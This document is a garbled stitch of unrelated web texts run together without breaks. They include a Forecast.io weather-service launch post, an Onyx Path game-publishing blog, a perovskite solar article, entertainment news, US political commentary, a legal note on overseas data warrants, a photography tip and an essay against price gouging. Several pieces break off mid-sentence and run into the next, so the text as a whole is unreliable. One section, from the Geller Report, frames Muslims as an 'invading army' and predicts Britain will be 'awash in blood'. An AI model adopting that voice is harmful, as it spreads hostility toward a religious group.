About a year ago, we released a little app for the iPhone and iPad called Dark Sky, attempting to do something new and interesting for weather forecasting, a field we think had become pretty stagnant. Approaching 100k sales, it’s been fairly successful; however, we’ve been continually asked for more: international support, longer-term forecasting, an Android app, and so on.
Rather than cram these things into Dark Sky, we decided to do something grander: create our own full-featured weather service from scratch, complete with 7-day forecasts that cover the whole world, beautiful weather visualizations, and a time machine for exploring the weather in the past and far future. You can access it from all of your devices, whether it be your laptop, iPhone, Android phone, or tablet.
On top of all that, we’re providing this data to other developers, in the hopes that a truly independent weather community can thrive in the era of increasing corporate consolidation.
A quick tour…
How is Forecast different from other weather services? Here are a few features we’re particularly excited about:
Stunning maps and rain animations
We’ve taken our smooth radar animations from Dark Sky, and expanded them to allow you to scrub up to a week into the future to see how storm systems will develop and evolve world-wide. It is handy when trying to put a simple forecast such as “Rain next Wednesday” into context. (Try dragging the pin around to explore different locations on the map).
Down to the minute forecasts, for your exact location
We seamlessly weave the minute-by-minute forecasts from Dark Sky into this new service. We can predict when it will rain or snow — down to the minute — at your exact location anywhere we have radar coverage (currently the United States, the UK, Ireland, parts of Canada, and Puerto Rico, with more countries coming soon).
Our hourly and daily forecasts cover the entire globe.
The time machine
We’ve gathered hour-by-hour observations from tens of thousands of ground stations world-wide, in some places going back a hundred years. We expose it as a sort of “time machine” that lets you explore the past weather at any given location. We’ve also used the data to develop statistical forecasts for any day in the future. For example, say you have an outdoor family reunion in 6 months: with the time machine, you can see what the likely temperature and precipitation will be at the exact day and hour.
More intelligent text summaries
We also use this statistical data to generate more intelligent text summaries of the current and forecasted weather. For example: most people don’t really care about things like wind speed and humidity unless it’s exceptional for their location. Using the historical data, we know what “exceptional” is for any time and place, and roll it up into the summaries.
Data only when you need it
Existing weather apps tend to fall into two categories: Weather Glut, which target weather geeks by cramming in lots of data most of us don’t care about, and Weather Fluff, which attempt to reduce the interface to a bare minimum for the sake of simplicity.
Where do we draw the line? You may never care about the wind direction — until the one time you go sailing. You may never look at an hour-by-hour breakdown of the upcoming day — until a hurricane is about to hit.
With Forecast, we’ve tried to give you the best of both worlds by keeping the interface as simple as possible, but also providing links to additional detailed information, to let you delve deeper whenever the need or mood arises.
World-wide support
Try checking out the rainy season in Bogotá, Colombia, or see how Santa’s faring at the North Pole!
It works on all your devices
There’s a web interface for your laptop and a mobile version for your iPhone, Android phone, or tablet. You can install Forecast directly on your phone simply by visiting forecast.io on your device and adding it to your home screen. It’s completely free.
An API for developers
Under the hood, Forecast is powered by a data API that we are making available to others. The API makes it extremely easy for developers to retrieve weather data for any location on Earth. More information can be found at our Developer site.
If you make a weather app, we’d love it if you’d consider using our data. Don’t hesitate to contact us with questions or suggestions!
What’s next?
This is just the beginning. Over the coming months, we hope to continuously improve the service and expand our coverage. We’ll also be adding user accounts that’ll give you access to notifications and the ability to sync your saved locations across all your devices.
We’ll also being regularly posting updates on this blog, exploring in detail the various components of both the Forecast website and our upgraded data API.
Finally, what about Dark Sky? Don’t worry, we’re not abandoning it — in fact, we’ll have an update in the App Store in the coming weeks that will add in our improved weather forecasts and add support for the UK.PoD For You and Me
Monday Meeting
Hey! Look what is now available in PDF, PoD, and PDF+PoD combos! Demon: The Descent! More on this below.
Had a good Monday Lunch Meeting with Eddy Webb today. We had exchanged missives over the weekend as he hashed together the outline for the book we had called Blood Diaries of the Clans, so we continued that conversation. That title originally came about because we knew we wanted to do a honking massive (not missive) look at the 13 Clans presented in V20. But while we wanted to evoke the original Clanbooks, we didn’t want anybody expecting all the various parts of the several editions of Clanbooks that were out there. We wanted, and still need, to have room to develop the book as this particular book needs to be developed, without false restrictions through creating expectations based on past books. So Blood, because vampires, Diaries replacing “books”, and finally of the Clans so folks would know these were looks at the Clans without saying Clanbooks.
Now, in reviewing the project, Eddy is making sure that each clan section has two qualities: one, it presents each Clan so that you should feel like you absolutely must play this Clan after reading it (The Chupp Test) and two, that each section has a strong and consistent “voice” that personifies the Clan. But, and here is why we’re looking at changing the name, they aren’t designed to be all in-character like the Requiem Clanbooks, for example. So Diaries is a bit misleading as it seems to set up that in-character approach (and we have a different book slated for 2015 that is far more of a diary). Which leads us to Eddy wanting to rename the project. If you folks have any ideas- send him a missive here with your suggestions.
Now to get to the title topic- let’s talk about Print on Demand, although as one of the reasons I’m writing this, PoD could stand for Price of Demon. Or Paltry ol’ Discount.
We’ve had some comments where folks were surprised at the cost of Demon in PoD on DTRPG, or our RedBubble Store T-shirts, or our Deluxe KS pledge pricing, and I just want to briefly touch on this because I really do understand the concern. Overall, it comes down to the business model Onyx Path is following in order to stay capable of staying in business for, well, forever. Unlike WW in its heyday, we do not have a warehouse nor a sales department. We don’t saddle ourselves with inventory that must be moved in order for us to survive. So we look to partner with companies which have facilities for sales and shipping. OneBookShelf, which contains both DTRPG and DriveThruCards, is one of those venues, as is RedBubble. They do not store physical products either, but offer Print on Demand products from the electronic files we place in their storefronts.
This products are literally Print on Demand- you place your order and they are created for you and shipped to you. You demanded, and they printed. This results in Onyx being able to put the Anarchs T-shirt design up at RedBubble for sale and so long as we make enough sales to cover the time it took to do the design and upload it, we have covered the only costs for that shirt Onyx will incur. Everything after that is gravy, and we can leave that design up there with no cost to us. This means we can feel free to design things that aren’t limited by traditional printing or distribution methods, gameline niche projects, or a very different book like the W20 Cookbook- which we had no idea would be as popular as it has proved to be. This ties into us being able to be more responsive to our fan community, and more nimble on our creative feet.
The downside is that we don’t get a bulk pricing discount with printing as we traditionally did because each PoD product is done one at a time, so the pricing is higher. If you picture a big ol’ printing press whirling along, with a roll of paper or individual sheets getting printed and stacked at the end- all those sheets keep getting printed because this machine is designed to keep running. Once it starts, it is better to let it keep printing more and more pages. Mass quantities is what its set up for. So the more you print the better, and each page is comparatively cheaper the more you print. PoD printers aren’t set up to run and run; they have an operating cycle that is much shorter and is designed to be able to do a single book. So very different, but designed to shine at doing different things.
PoD printing only just began delivering the quality that a Premium Color version from DTRPG can deliver, but the price of a single copy at that quality is justifiably high, which means we have to price the book higher. Now make this a 400 page book, and since the price per page printed doesn’t decrease the more pages it has to print, the price rises accordingly. Similarly, any discount can’t dip below the cost of creating the PoD product or we actually will lose money on the project. Which would be bad.
We know the prices are tough for some folks, which is why we always try to present options for the books- Standard vs Premium color, for example- as well as try and find the lowest cost but highest quality PoD printers to work with. It’s not the 90’s, we just aren’t set up to that model of business or pricing, but we like to think that we’re giving folks more options, and hitting quality benchmarks higher, than we could back in the day.
Speaking of options, look at all these in-progress projects:
– Mummy the Curse – Cursed Necropolis DC is in layout and art is coming in.
– Exalted 3rd Edition: From Holden: Occult is provisionally finished, though we might go back and add two or three more Charms once the sorcery section has been completely finalized. Lore Charms are now being worked on. Elsewhere, we’re focusing this week on Evocations, and will be looking at some finalized Evocation arrays (their structure is more of an array than a tree) to do some size and content estimates for Arms of the Chosen.
Zub’s EX3 Comic is almost finished being illustrated and both EX3 novels are being worked on. Starting to get one of the EX3 Music Suites to a finished state, the |
is toxicity – a substance called PbI is one of the breakdown products of perovskite. This is known to be toxic and there are concerns that it may be carcinogenic (although this is still an unproven point). Also, many perovskite cells use lead, a massive pollutant. Researchers are constantly seeking substitutions, and have already made working cells using tin instead. (with efficiency at only 6%, but improvements will surely follow).
Whats next?
While major challenges indeed exist, perovskite solar cells are still touted as the PV technology of the future, and much development work and research are put into making this a reality. Scientists and companies are working towards increasing efficiency and stability, prolonging lifetime and replacing toxic materials with safer ones.
Researchers are also looking at the benefits of combining perovskites with other technologies, like silicon for example, to create what is referred to as tandem cells in which the advantages of two different technologies are used to create better performing cells.
Commercial activity in the field of perovskite PV
Perovskite solar cells have yet to reach the market, but progress towards commercialization seems promising, and many analysts believe that in 2-3 years perovskite PVs will emerge as a true alternative to silicon-based panels.
In November 2016, UK-based Oxford PV acquired the former thin-film production site of Bosch Solar in Germany, to establish a fab with pilot-scale capacity for perovskite wafers. The plan is to ramp up Oxford PVs perovskite technology to industry-standard wafer size.
In September 2015, Australia-based organic PV and perovskite solar cell (PSC) developer Dyesol declared a major breakthrough in perovskite stability for solar applications. Dyesol claims to have made a significant breakthrough on small perovskite solar cells, with meaningful numbers of 10% efficient strip cells exhibiting less than 10% relative degradation when exposed to continuous light soaking for over 1000 hours. Dyesol was also awarded a $0.5 million grant from the Australian Renewable Energy Agency (ARENA) to commercialize an innovative, very high efficiency perovskite solar cell.
Also in 2015, Saule Technologies signed an investment deal with Hideo Sawada, a Japanese investment company. Saule aims to combine perovskite solar cells with other currently available products, and this investment agreement came only a year after the company was launched.Winners are known for the fact that they will go that extra mile; they will make that extra call, do an extra round on the circuit. Whatever the masses will do, winners always put in that little extra. It doesn’t have to be a lot, just a little bit more.
Winners (extraordinary people) are simply ordinary people who do that little extra every time.
Most people have a perception that winners are born great.
Winners aren’t born great. They have become great by the virtue of doing a little extra to achieve greatness. That little extra effort accumulates to one day giving them the winning results when compared to the ordinary efforts of others.
It’s in the little extra effort that they succeed.
That’s the difference of winners who stand out as the champions amongst a sea of players. That’s the difference of a low five-figure income and a high six-figure income. That’s the difference in having a good relationship and a great relationship. That’s the difference between living in a wish-world and actually living your wishes.
As you go along your chosen path, you will come across challenges. Use them as cues to ensure you go that little extra.
Every wall you come across, push through harder.
When doubted, double your efforts
When blocked, double your efforts
When talked down to, double your efforts
By using challenges as a positive cue to do a little extra, your efforts will soon be accumulated.
All it takes is just a little bit every time.
Remember it’s in that little extra where all winners have realized their breakthrough.
This short story is taken from motivational speaker india Kevin Abdulrahman’s Book “What Ever You’re Into”. Kevin Abdulrahman is the top conference speaker Doha available for inspirational keynote, sales & youth speaking.0
It looks like we’ll be able to see the Batman v Superman trailer sooner than we thought. We previously told you that the first trailer for Zack Snyder’s superhero follow-up Batman v Superman: Dawn of Justice would be attached to Mad Max: Fury Road, but at the time we cautioned that Warner Bros. could decide to debut it sooner than May 15th.
The early debut looks to be happening, as Latino Review’s El Mayimbe is reporting that the first five seconds of the trailer will be released online this Thursday, after which you’ll be able to sign up to watch the full trailer in a theater on Monday, April 20th. We can separately confirm Mayimbe’s story—in fact, Steve was in the middle of writing up this exact same scoop when Mayimbe broke the news.
Mayimbe also says that the Batman v Superman trailer will be attached to Avengers: Age of Ultron. We can’t confirm that part of the story, but it makes sense for Warner Bros. to want to get the trailer in front of as many eyes as possible.
Snyder will be unveiling the trailer preview on his Twitter account at 9am PST—an hour before the start of the big Star Wars: The Force Awakens panel at Star Wars Celebration. Sit on that for a second: the first footage from Batman v Superman will be unveiled an hour before new footage from Star Wars: Episode VII. We’ve got some big, big movies on the horizon people.
Batman v Superman: Dawn of Justice stars Henry Cavill, Ben Affleck, Amy Adams, Laurence Fishburne, Jesse Eisenberg, Gal Gadot, Diane Lane, Jeremy Irons, Holly Hunter, Scoot McNairy, and Jason Momoa and opens in theaters on March 25, 2016.After a three-way tie with fellow homophobes Mitt Romney and Ron Paul in the Iowa caucus, Surgin’ Santorum is getting ready to face the rest of the nation’s primaries. His problem: the Republicans in those states aren’t nearly as radically homophobic as Iowa’s fundamentalist nut-cases.
So now, to appear more moderate, he’s denying he ever put gay marriage and “man on child, man on dog” in the same basket of un-heterosexual abominations.
Skip ahead to about the one-minute mark in the above video and watch him squirm after CNN’s John King reads back this quote, from his now-infamous 2003 interview with the AP: “In every society, the definition of marriage has not ever to my knowledge included homosexuality. That’s not to pick on homosexuality. It’s not, you know, man on child, man on dog, or whatever the case may be. It is one thing.” It’s no coincidence that this quote launched Dan Savage’s Google-bombing campaign against the guy.
Santorum responds, “Hold on one second, John. Read the quote. I said it’s not. I didn’t say it is. I did not connect them. I specifically excluded them.”
Okay, so maybe he meant that homosexuality is at the top of Dante’s inferno of abominations—the least ungodly!—while bestiality and pedophilia are way down at the bottom. But it’s still in that unsavory basket, a basket of actions Santorum wants to make illegal. His refusing to own that point is a convenient change for him as he attempts to be a mainstream candidate.
There’s a statistical basis for his flip-flop, too: the fact that acceptance of gay marriage has surpassed opposition to it in the past year.
Source: NYMag, Photo via YoutubePin +1 Share 20 Shares
Sunday on NBC’s “Meet the Press,” NBC News correspondent Katy Tur, who has been covering the Trump campaign since the start of the campaign, says the excitement was on the side if Donald Trump and not his Hillary Clinton.
KATY TUR, NBC: We would see Trump voters wait in negative-five degree snowy temperatures for hours on end, six hours, to go see Trump at a rally. My question is, are they going to wait on long lines to vote for Trump? Yeah, I think so. Are Hillary Clinton voters going to take a day off work and wait in lines to vote? That is the big question. The excitement level is a little bit different on the Trump side, because they are so enthusiastic about him.
CommentsShare. An almost lost chapter. An almost lost chapter.
UPDATE: The Fable Fortune Kickstarter is now live, and will run for 28 days. Reward tiers range from £5 (including digital rewards, closed beta access and more) to a lofty £5,000, which, among many other things, grants the buyer a chance to be illustrated on a Fable Fortune card of their choosing.
The page also goes into huge detail about the current design of the game itself - if our coverage wasn't quite in-depth enough for you, it's well worth looking over.
CORRECTION: The article below originally stated that Flaming Fowl expected a full release for Fable Fortune in late 2017. The expectation is that the game will arrive in early 2017.
IGN can reveal that Lionhead was secretly developing a free-to-play, Fable-branded digital card game, Fable Fortune, for 18 months before the studio’s closure - and now it’s headed to Kickstarter.
Flaming Fowl Studios is a new indie developer co-founded by Lionhead veterans Craig Oman, Mike West and Marcus Lynn and set up to finish the game its creators started. Microsoft has given the team its backing to continue to use the Fable license but, now without a publisher behind it, Flaming Fowl has turned to crowdfunding to complete the project.
If you want to see the game in action, watch a full match of PvP mode below:
Exit Theatre Mode
The game begins its Kickstarter campaign tomorrow, Tuesday May 31 at 3pm BST / 10am ET / 7am PT. The team hope to raise at least £250,000 in four weeks, with multiple stretch goals planned beyond that.
Flaming Fowl expects Fortune will be ready for a closed beta within a few weeks of the end of the campaign, an open beta on PC and Xbox One in October, with a full release to follow early in 2017.
So, what is it?
Fortune will be immediately familiar to those who play the likes of Hearthstone - with players choosing from eight planned deck-altering heroes and aiming to reduce opponents’ health to zero using a variety of spell types - but comes with its own twists.
According to West, the team’s ethos is “improving the genre”, which includes using a more engaging 3D art style, offering a full online co-op mode against AI “bosses” using themed decks, a leveling system for cards used regularly, and Trophy Cards, extra units or spells offered to the player who plays second.
It equally looks to appeal to fans of the series from which it takes its name. Drawing on characters, locations and even in-jokes from throughout Fable history - including using lost character concepts never before seen in the games - Fortune aims to be a full translation of Fable to the CCG format, British humour and all.
It even builds familiar Fable-like elements into its game’s structure - completing mid-match “quests” like casting certain types of card or spending enough mana will allow you to make a good or evil choice, transforming your hero, their powers, and even morphing certain cards into new forms.
The game’s design is far from complete, however. “We’re looking to build this game with the fans,” explains West, “and then potentially morph and change things about the game over time. This is our starting position - we need to find out what people want from a CCG, and we’re ready to talk to them.
West brings up the possibility of adding limited, draft-style play, 2v2 PvP modes, single player campaigns and more. Kickstarter backers will gain access to closed forums where those discussions can take place.
Fable Fortune screenshots 10+ IMAGES Fullscreen Image Artboard 3 Copy Artboard 3 ESC 01 OF 10 Fable Fortune PvP screenshot 01 OF 10 Fable Fortune PvP screenshot Fable Fortune screenshots Download Image Captions ESC
Originally pitched by West 8 years ago to be a part of Fable 2, Fortune began development in 2014, in partnership with London developer Mediatonic.
During that time, a team of 20 created the core design. Once Lionhead’s closure was announced, the team switched focus to create a playable prototype, which will form the basis of the upcoming closed beta, and which we saw played in our discussion with the developers.
Recently, reports emerged that Microsoft wouldn't sell Lionhead to prospective buyers because it didn’t want to part with the Fable license - it seems that, at least partially, Fable Fortune is the reason for that. Microsoft’s willingness to allow Fable’s own developers to use the license at least indicates that the console giant doesn’t want to leave the franchise dormant, but offer fans a continued relationship with the series:
“I think this is something that Fable fans are going to enjoy,” says Oman. “We’re definitely very keen to keep giving them new and interesting things. We have the ability to add new creatures and characters to this game and the world of Albion. I think we can certainly give them that Fable fix that they’ll be looking for.”
As West puts it: “If you want a Fable game, at the moment, this is your Fable game.”
To find out more about Flaming Fowl, visit the studio's website - we'll update this story tomorrow with a link to the project's Kickstarter campaign.
Joe Skrebels is IGN's UK News Editor, and he's already asked if Stephen Fry can come in and do some V/O. They don't know yet. Follow him on Twitter.Julian Zelizer, a history and public affairs professor at Princeton University and a New America fellow, is the author of " The Fierce Urgency of Now: Lyndon Johnson, Congress, and the Battle for the Great Society." He's co-host of the "Politics & Polls" podcast. The opinions expressed in this commentary are his own.
(CNN) President Trump dropped a bombshell Tuesday with the announcement that he had fired FBI Director James Comey -- just days after Comey testified before the Senate Judiciary Committee about, among other things, the bureau's investigation into Russian meddling in the election that propelled Trump to the presidency.
Trump has stunned the political world once again by issuing the orders to remove one of the most important figures in this entire investigation.
Ironically, the announcement comes at a time when former secretary of state and presidential candidate Hillary Clinton has been telling audiences that Comey was a key factor behind her loss in November. His infamous announcement in late October that the FBI was looking into new emails revived the specter of the earlier probe into Clinton's emails just before voters went to the polls. Many experts agree that the announcement cost her points with voters.
But then Comey turned into a problem for President Trump. The Russia investigation has hung over Trump like a dark cloud since his first days in office. Even as congressional committees have stumbled over partisanship in their own probes of Russia's interference, the FBI seems to have been driving forward at an aggressive pace, continuing to give strong indications about evidence that Trump campaign officials were in contact with Russian officials during the campaign.
While Trump has continually denied any collusion and has lobbed accusations of his own, the FBI appears to have been keeping its eye on the ball.
President Trump's decision to fire Comey is the second such dismissal to rock the administration. When the President announced the resignation of Acting Attorney General Sally Yates in January for refusing to implement the administration's refugee ban, the comparison to President Richard Nixon's "Saturday Night Massacre" instantly lit up the headlines.
JUST WATCHED Clapper: Putin sought to advantage Trump Replay More Videos... MUST WATCH Clapper: Putin sought to advantage Trump 00:43
In that 1973 event, Nixon fired independent prosecutor Archibald Cox for his aggressive inquiry into Watergate. It turns out that was nothing, compared with the firing of Comey in the middle of this inquiry. It is a stunning blow to any attempt to obtain legitimate, non-partisan information about what went wrong in the campaign and why.
The justification provided in the administration's memorandum on the firing -- that it came in response to Comey's mishandling of the Clinton investigation -- doesn't pass the laugh test.
While it is true that candidate Trump has complained that Comey gave Clinton "a free pass" in his decision not to bring criminal charges against her, Trump and his surrogates capitalized on that investigation more than anyone else. The President refused to take any action on that front until now. This is not about Hillary Clinton.
There is no reason that the public should trust the congressional committees to do the job any longer. Indeed the House investigation completely broke down when it became clear that the chair of the committee, Congressman Devin Nunes, displayed more loyalty to the party and President than to finding out the truth.
The Senate committee then stalled and delayed until criticism finally pushed it toward doing its job. But the power of partisanship remains strong, and many observers are skeptical that Senate Republicans, like Texas' Ted Cruz, are willing to go where the facts take them.
JUST WATCHED Who is James Comey? Replay More Videos... MUST WATCH Who is James Comey? 01:05
From the start, President Trump has showed little interest in finding out what happened during the election. This has been one of the most suspicious aspects of his response. He has attacked President Barack Obama with false allegations of wiretapping, he has dismissed all the evidence and accusations coming out about campaign officials, and he has taken a strident stand against all the institutions that show any sign of standing up to him.
The reason that the Saturday Night Massacre stung President Nixon so badly was because the firing proved to the public that the President really was frightened that the truth would come out. He was unwilling to let the institutions of government do their job, and the decision to get rid of Archibald Cox demonstrated that the President would do anything to protect his interests.
This part of the Watergate cover-up, and, even worse, the effort to actively fight the investigation, turned public opinion against him.
The question now is whether Trump has enough Teflon support from his base to keep even this from hurting his standing. His public approval ratings are low; it's unclear how much lower they can sink. But there are several other ways in which he is vulnerable.
Firing Comey could begin to make a dent in the strong support that he has enjoyed among Republicans, who will recognize this as a blatant effort to circumvent the law and cover up the truth. The firing will also put Congress -- both parties -- on notice that this is a President who will do almost anything to protect himself. Today's firing could encourage the leaders of both parties to double down with their investigations.
More than anything else thus far, this announcement fuels the perception that President Trump is scared about something. There was no obvious reason for the administration to take this step and it's hard not to be skeptical about the reasons for it to be taken at this moment.
From the day he stepped into the White House, President Trump has raised concerns that he does not adequately respect the boundaries of power. He has dismissed concerns about the conflicts of interest with his family business, he has openly attacked judges and Congress as illegitimate, and he has attempted to use executive power in an aggressive fashion.
Firing James Comey right in the middle of the Russia debate looks like President Trump's nuclear option to dealing with an investigation into the very foundations of his power.
The Senate has a big job to do, and Senate Republicans will need to insist, through the power of confirmation, that President Trump appoint someone of the highest standing to replace James Comey and to see that this investigation is allowed to go wherever it might take the agency.
Senate Republicans must show that they are more loyal to the nation than their party. Democrats, who have little love for Comey after his pronouncements about Clinton before the election, need to show that they can work with the GOP on this issue to make sure someone strong takes over the job. Better yet would be to take up Senator Chuck Schumer's plan to appoint a special prosecutor, which is now the only way to move forward with a serious investigation.
Without such action, the legitimacy of the 2016 election and the legitimacy of this President will remain a question. Congress must rectifying this imperial act -- or the health of our democracy will continue to hang in the balance.A couple months ago, a New York judge ruled that US search warrants applied to digital information even if they were stored overseas. The decision came about as part of an effort to dig up a Microsoft user's account information stored on a server in Dublin, Ireland. Microsoft responded to the ruling and challenged it, stating that the government's longstanding views of digital content on foreign servers are wrong, and that the protections applied to physical materials should be extended to digital content. In briefs filed last week, however, the US government countered. It states that according to the Stored Communications Act (SCA), content stored online simply do not have the same Fourth Amendment protections as physical data:
Overseas records must be disclosed domestically when a valid subpoena, order, or warrant compels their production. The disclosure of records under such circumstances has never been considered tantamount to a physical search under Fourth Amendment principles, and Microsoft is mistaken to argue that the SCA provides for an overseas search here. As there is no overseas search or seizure, Microsoft's reliance on principles of extra-territoriality and comity falls wide of the mark.Police have arrested two people on suspicion of racial hatred after a video appeared online showing a man burning a copy of the Koran.
The UK is in the throes of a war, a very real war against their citizens, their country, their Queen. And their obsession is with protecting their ideology of the invading army.
This is the act of the conquered.
And while I do not believe in burning books, the antidote to bad speech is more speech. About burning the Quran, who cares? Unless, of course, you are living under Islamic law, then it is punishable (by death). The Brits are working on that.
Sharia UK: Two arrested over video of Qur’an burning By Robert Spencer, June 10, 2017 They were arrested “on suspicion of racial hatred.” Is it “racial hatred” to burn a Bible in the UK? Why, of course not. And in reality, as opposed to the British legal system, is it “racial hatred” to burn a Qur’an? No. The Qur’an is not a race, and neither is Islam; there are Muslims of all races. This arrest is just another example of the British government’s exaggerated solicitude for Muslims, which stems from the false assumption that jihad violence is the result of the “marginalization” of Muslim communities. The May government has staked the future of Britain on the idea that being nice to Muslims, and moving swiftly and strongly against violations of Sharia blasphemy laws such as this, will end the jihad against Britain. It will, of course, fail, as will May’s drastically weakened new government, and the entire British political class. The Sharia supremacism they have not only tolerated but encouraged will turn its full force upon its benefactors, and Britain will be awash in blood. “Two arrested over Facebook and YouTube video of Koran burning amid spate of race attacks in wake of London and Manchester terror attacks,” by Nick Enoch and Rachael Burford, Mailonline, June 8, 2017: Police have arrested two people on suspicion of racial hatred after a video appeared online showing a man burning a copy of the Koran. The video, which MailOnline has chosen not to publish, shows a tattooed man standing in a kitchen complaining about being unable to start a fire. Speaking into the camera, he says: ‘I’ve been trying to get my poxy fire started for half-hour wondering what s**t I can get it going with.’ Holding a paperback copy of the Koran up to the camera, he adds: ‘And then I found this.’ Two videos were posted on Facebook and YouTube on Tuesday and are still available today on various pages. The second shows the man standing outside tearing pages from the holy book and throwing them on a bonfire. He says to the camera: ‘And it worked, all I’ve got left is the poxy, sh***y cover and look, that’s on the fire as well.’ West Mercia Police have confirmed they have arrested two people in connection with the video. Detectives said a 45-year-old man from Worcestershire was arrested on suspicion of posting videos or images likely to cause racial hatred and a 45-year-old woman from Evesham has also been arrested on suspicion of inciting racial hatred. Superintendent Kevin Purcell said: ‘This was a concerning incident and we will be carrying out a thorough investigation. It is being investigated as a hate crime. ‘We have been in contact with our local Muslim community via Councillor Jabba Riaz, deputy Mayor for Worcester who, as always, acts as a critical friend in support of what we do. ‘If anyone has any concerns about social media posts that potentially incite hate, I would urge them not to share the posts but to report the incident to the police and social media company at the earliest opportunity.’…
The Truth Must be Told Your contribution supports independent journalism Please take a moment to consider this. Now, more than ever, people are reading Geller Report for news they won't get anywhere else. But advertising revenues have all but disappeared. Google Adsense is the online advertising monopoly and they have banned us. Social media giants like Facebook and Twitter have blocked and shadow-banned our accounts. But we won't put up a paywall. Because never has the free world needed independent journalism more. Everyone who reads our reporting knows the Geller Report covers the news the media won't. We cannot do our ground-breaking report without your support. We must continue to report on the global jihad and the left's war on freedom. Our readers’ contributions make that possible. Geller Report's independent, investigative journalism takes a lot of time, money and hard work to produce. But we do it because we believe our work is critical in the fight for freedom and because it is your fight, too. Please contribute to our ground-breaking work here.
Make a monthly commitment to support The Geller Report – choose the option that suits you best. Contribute Monthly - Choose One Subscriber : $18.00 USD - monthly Contributor : $36.00 USD - monthly Patron : $50.00 USD - monthly Silver member : $100.00 USD - monthly Gold member : $250.00 USD - monthly Platinum member : $500.00 USD - monthlyWhen you're first starting with artificial lighting, one of the biggest things to learn is how different modifiers affect the face. This helpful video compares numerous modifiers of different types and sizes to help you understand their effects and choose what's right for you.
Coming to you from Jay P. Morgan of The Slanted Lens, this video follows him as he mounts various lighting modifiers to a Dynalite Baja A6 Monolight, keeping the front of the modifier a consistent four feet from the subject to ensure that the test isn't affected by the proximity of the modifier, which would make the light softer as it moves closer to the subject. Altogether, the test encompasses three reflectors of varying sizes, two beauty dishes, octaboxes, parabolic umbrellas, softboxes, and large umbrellas.
While there's a lot of conventional wisdom about which modifiers are "best," part of the decision is also your personal preference, so be sure to pay attention to things like highlight-shadow transitions, how the lights affect the background, whether you prefer silver or white lining, highlights, etc. Another thing to consider beyond what the video mentions is catchlight shape. Be sure to think about what shape you prefer, particularly in regards to circular vs. rectangular.
And if you'd like to learn more about the basics of photography, be sure to check out "Photography 101: How to Use Your Digital Camera and Edit Photos in Photoshop."Do Economists Actually Know What Money Is?
Economist Gregory Mankiw is very pleased to have been gouged by a scalper, he informs us in a recent New York Times column. Mankiw recently went to see the Broadway musical Hamilton, and paid the going rate for a ticket: $2,500. Yet he was far from dismayed at having paid this extraordinary sum. In fact, he describes those who object to price-gouging as “pernicious.”
That’s because Mankiw adopts the standard economist’s view on exorbitant prices for goods: where the layman sees gouging, the economist sees the sublime operation of the law of supply and demand. As Mankiw says, “terms like ‘scalping’ and ‘price gouging’ are pejoratives used to demonize those who resell tickets at whatever high prices the market will bear.”
People are wrong, Mankiw says, to say that Hamilton tickets are “hard to come by.” In fact, he reports, they are extremely easy to come by. You just have to be willing to spend several thousand dollars to get them. For Mankiw, as for most economists, this means that the market is working. People who are willing to pay the most for tickets are getting the tickets, and “private individuals” are reaping “mutually advantageous gains from trade.”
He gives a parallel example. In 2009, Jay Leno decided that what unemployed auto workers needed the most was free tickets to a Jay Leno concert. So he gave them a bunch of tickets, which many of them promptly tried to sell on eBay for $800 each. Leno was horrified. But Mankiw thinks Leno should have been pleased. After all:
Some unemployed workers, presumably short on cash, thought that the $800 in their pockets was more valuable than an evening of laughs. Similarly, the ticket buyers would voluntarily give up their $800 for a seat. The transaction makes both buyer and seller better off.
Thus the free market reveals what each individual values, and how much they value it. If I keep my Jay Leno ticket, rather than selling it, it is because I value the experience of seeing Jay Leno more than $800. If my coworker sells his ticket, it is because he prefers the money. Everyone gets what they want the most, as the market efficiently satisfies our preferences.
Yet when economists tell this fable, they neglect a single crucial fact: some people are wealthier than other people. The reason Mankiw loves price hikes is that they don’t affect him, because he has so much money that he doesn’t really care what price he pays for a Hamilton ticket. Wealth confers the ability to jump to the front of the line, bypassing those who may want to see the show far more but who have less money to spend on theater tickets.
To return to the Jay Leno example: Mankiw thinks it’s wonderful that the unemployed workers sold their tickets on eBay. Thanks To The Glorious Free Market, Everyone Is Better Off. But this overlooks something crucial: the workers may not be happy about having to sell their tickets. Perhaps one of the unemployed workers was absolutely thrilled when Jay Leno gave him a ticket. Perhaps he and his wife met at a Jay Leno concert in the 80s, and he couldn’t believe his good fortune in having been handed the perfect anniversary present. But then he realized that his child’s medical bills were more pressing, and the tickets would have to go. Perhaps he cried about it that night, thinking about the gift he wished he could given his loved one.
The situation surely differed depending on the unemployed workers’ personal finances. Others might not have given the slightest crap about Jay Leno, but might have had savings to live on and enjoyed the opportunity to have a night out. In each instance, the outcome does not reflect how much the workers want their tickets, but how financially desperate they are. Thus what Mankiw sees as a measure of preference is in fact largely a measure of hardship. Economic outcomes aren’t a product of what people value, but how much money they have to throw around. If I am a rich fart who likes setting paintings on fire, I might buy up a set of van Goghs and barbecue them. I might get an ounce of enjoyment out of this, but really not particularly care very much. It’s certainly hard to argue that because my bid was the highest, the paintings went to their most-valued use. And yet this is the logic of economic efficiency.
Another example: you see a man drowning. You are about to toss him a life preserver. But then you remember Mankiw’s words: there is no shame in figuring out what the market will bear.
“How much would you pay for me to toss you this life preserver?” you shout to the man.
“Blub,” he replies.
“I’m afraid ‘blub’ just won’t do,” you call back, beginning to walk away. Through mouthfuls of seawater, he manages to spit out the words: “I’ll pay whatever you want, just toss the damn life preserver!” As he thrashes about, struggling for his life, you manage to strike a deal. You will toss the life preserver, and he will turn over all his worldly assets to you as soon as he hits land.
For economists, what has just occurred is an efficient transaction. Each person has been made “better off.” The person who tosses the life preserver gets paid, and the drowning man gets saved, by paying someone to toss a life preserver. Everyone is happy.
Of course, in reality, you have extracted a person’s entire wealth from them by threatening to let them die, and callously refused to engage in the most basic of moral human behaviors unless you get paid for it. You have acted like a total sociopath. (Or, in other words, like an economist.)
Many economists might object to the example. “Well, that’s different, that’s coercion, because someone’s life is at stake.” That’s certainly a fair distinction: there is something different, and worse, about increasing prices when withholding goods from someone will actually kill them. In fact, though, economists frequently do defend precisely this kind of gouging. The classic example of highly inflated prices is the market for essential supplies in the wake of a disaster. Many economists simply do not see the problem with charging $500 for a jug of water or a gallon of gas after a hurricane. As Matthew Yglesias writes, “letting merchants raise prices if they think customers will be willing to pay more isn’t a concession to greed,” rather, it “creates incentives for people to think harder about what they really need.”
